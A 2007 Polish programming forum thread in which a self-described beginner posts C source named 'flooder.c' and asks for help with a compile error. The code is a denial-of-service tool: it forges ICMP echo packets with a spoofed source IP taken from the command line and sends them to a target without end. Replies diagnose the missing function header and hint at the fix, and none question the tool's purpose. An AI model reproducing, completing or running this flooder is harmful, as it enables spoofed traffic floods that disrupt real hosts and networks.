Strona 1 z 2

błąd w składni progrmau

: 25 maja 2007, 23:13
autor: oskar.kosela

Kod: Zaznacz cały

error: expected identifier or ‘(’ before ‘{’ token
to błąd który wyskakuje mi od jakiegos czasu ...usunąłem każdy inny ale tego nie mogę się pozbyć...
proszę pomóżcie ........ oto kod programu:

Kod: Zaznacz cały

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define SIZE 4096

{
   register int nleft = len;
   register u_short *w = addr;
   register int sum = 0;
   u_short answer = 0;
   while (nleft > 1)
   {
	sum += *w++;
	nleft -= 2;
   }
   if(nleft == 1)
   {
	*(u_char*) (&answer) = *(u_char*) w;
	sum += answer;
   }
   sum =(sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return (answer);
}

int main(int argc, char* argv[])

{
   int sock;
   struct iphdr *ip;
   struct icmphdr *icmp;
   struct sockaddr_in du;
   struct hostent *h;

   int len;
   char buf[SIZE];

   memset(&du, 0, sizeof(du));
   memset(buf, 0, sizeof(buf));

   if((h=gethostbyname(argv[1]))==NULL)
   {
      perror("gethostbyname()");
      exit(1);
}

du.sin_family=AF_INET;
du.sin_addr=*((struct in_addr*)h->h_addr);
memset(&(du.sin_zero),'\0',8);

ip=(struct iphdr*)buf;
icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));

ip->version=4;
ip->ihl=sizeof(struct iphdr)/4;
ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr));
ip->id=htons(getpid() & 255);
ip->ttl=64;
ip->protocol=IPPROTO_ICMP;

ip->saddr=inet_addr(argv[2]);
ip->daddr=du.sin_addr.s_addr;

icmp->type=ICMP_ECHO;
icmp->code=0;

icmp->checksum=0;
icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr));

if((sock=socket(PF_INET,SOCK_RAW,255))==-1)
{
	perror("socket()");
	exit(1);
}

len=sizeof(struct icmphdr)+sizeof(struct iphdr);

while(1)
{
	if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
	{
	perror("sendto()");
	exit(1);
	}
	putchar('.');
}
	close(sock);
	return 0;
}

//do kodu używaj tagów code
velmafia

: 25 maja 2007, 23:45
autor: velmafia
mała uwaga, jeśli chcesz żeby ktoś Ci pomógł, to staraj się pisać jak najbardziej czytelnie, opisuj jak najwięcej rzeczy które mogą mieć znaczenie, używaj tagów (już je dodałem), a nazwę tematu zmień na taką w której na początku będzie podany język programowania, a potem opis problemy który będzie mówił coś więcej o problemie, to Ty masz zachęcić kogoś do pomocy Tobie, a niechlujne posty raczej tylko zniechęcają.


aloha

Re: błąd w składni progrmau

: 25 maja 2007, 23:58
autor: Lorenzo
[quote="oskar.kosela"]
#define SIZE 4096

{
register int nleft = len]
A może by tak jakiś nagłówek tej funkcji. Co zwraca, jak się nazywa i jakie ma argumenty :>

nowicjusz

: 26 maja 2007, 13:37
autor: oskar.kosela
witam
przepraszam ze tak niechlujnie napisalem na forum ale to moj pierwszys raz .... nigdy nie kozystalem z for internetowych. Jestem poczatkujacym programista C++ kod krory podalem jest przykladem uzytym w podreczniku ... przepisany slowo w slowo... nie chce sie kompilowac u nikogo ... sprawdzie sami ... moze ktos bedzie w stane mi pomoc .. bede bardzo wdzieczny
pozdro

[ Dodano: 2007-05-26, 13:45 ]
przy probie kompilacji dostaje nastepujacy wynik, kod programu zamiescilem juz wczesniej moj sytstem to debian 4.0 etchnatomist wersja gcc 4.3.... prosze pomozcie


Kod: Zaznacz cały

debian-pc:/home/oskar# gcc -o flooder flooder.c
flooder.c:13: error: expected identifier or ‘(’ before ‘{’ token
flooder.c: In function ‘main’:
flooder.c:46: warning: incompatible implicit declaration of built-in function ‘memset’
debian-pc:/home/oskar#         
//edit
chciałeś użyć tagów i to Ci się, chwali :) ale jeśli wpisujesz je ręcznie to nazwa czyli w tym wypadku code musi być w nawaisach kwadratowych [ ]. Jeśli chcesz to nad oknem, w którym piszesz posta (lub po lewej - jeśli piszesz w "szybka odpowiedź") są przyciski code i inne, więc możesz ich używać. Najlepiej kliknij w przycisk zmień w prawym górnym rogu tego posta i zobacz jak to wygląda. Aby zmienić treść tematu, co sugerował velmafia musisz użyć tego przycisku w pierwszym poście i tam zmienić temat.

: 26 maja 2007, 16:20
autor: mlyczek
oskar.kosela pisze:debian-pc:/home/oskar# gcc -o flooder flooder.c
Dlaczego kompilujesz jako root?

: 26 maja 2007, 17:13
autor: Lorenzo
Kompilacja jako root nie ma tutaj znaczenia (wogóle nie ma znaczenia przy czymkolwiek)
Problem jest w tym że jest blok kodu w klamerkach między DEFINE coś tam a main'em.
Jest tam funckja nieposiadająca nazwy i o to się gcc pluje.

funkcja

: 26 maja 2007, 22:00
autor: oskar.kosela
a jak mozna ja nazwac? sa jakies proste sposoby definicji funkcji ?? czy mozecie mi je podac?? ;-)

: 26 maja 2007, 22:16
autor: ponton
kod krory podalem jest przykladem uzytym w podreczniku ... przepisany slowo w slowo...
E... coś kręcisz.. ;)

Kod: Zaznacz cały

icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr));
Czy to nie ta funkcja ip_sum?

I wklej DOK£ADNE błędy, jakie daje kompilator, a nie "nie działa pomocy!!11".

bledy

: 26 maja 2007, 22:30
autor: oskar.kosela

Kod: Zaznacz cały

debian-pc:/home/oskar# gcc -o flooder flooder.c 
flooder.c:13: error: expected identifier or "(" ; before "{" ; token 
flooder.c: In function ‘main’: 
flooder.c:46: warning: incompatible implicit declaration of built-in function ‘memset’ 
debian-pc:/home/oskar#  

dokladnie tak .... naprawde doklsdnie przepisalem... dwa razy od paczatku zeby sie upewnic czy nie ma bledow...

: 26 maja 2007, 23:38
autor: velmafia
oskar.kosela, widzę że masz ciągle problemu z tagowaniem postów: zapoznaj się z tym:
http://pl.wikipedia.org/wiki/BBCode

a potem popraw swoje posty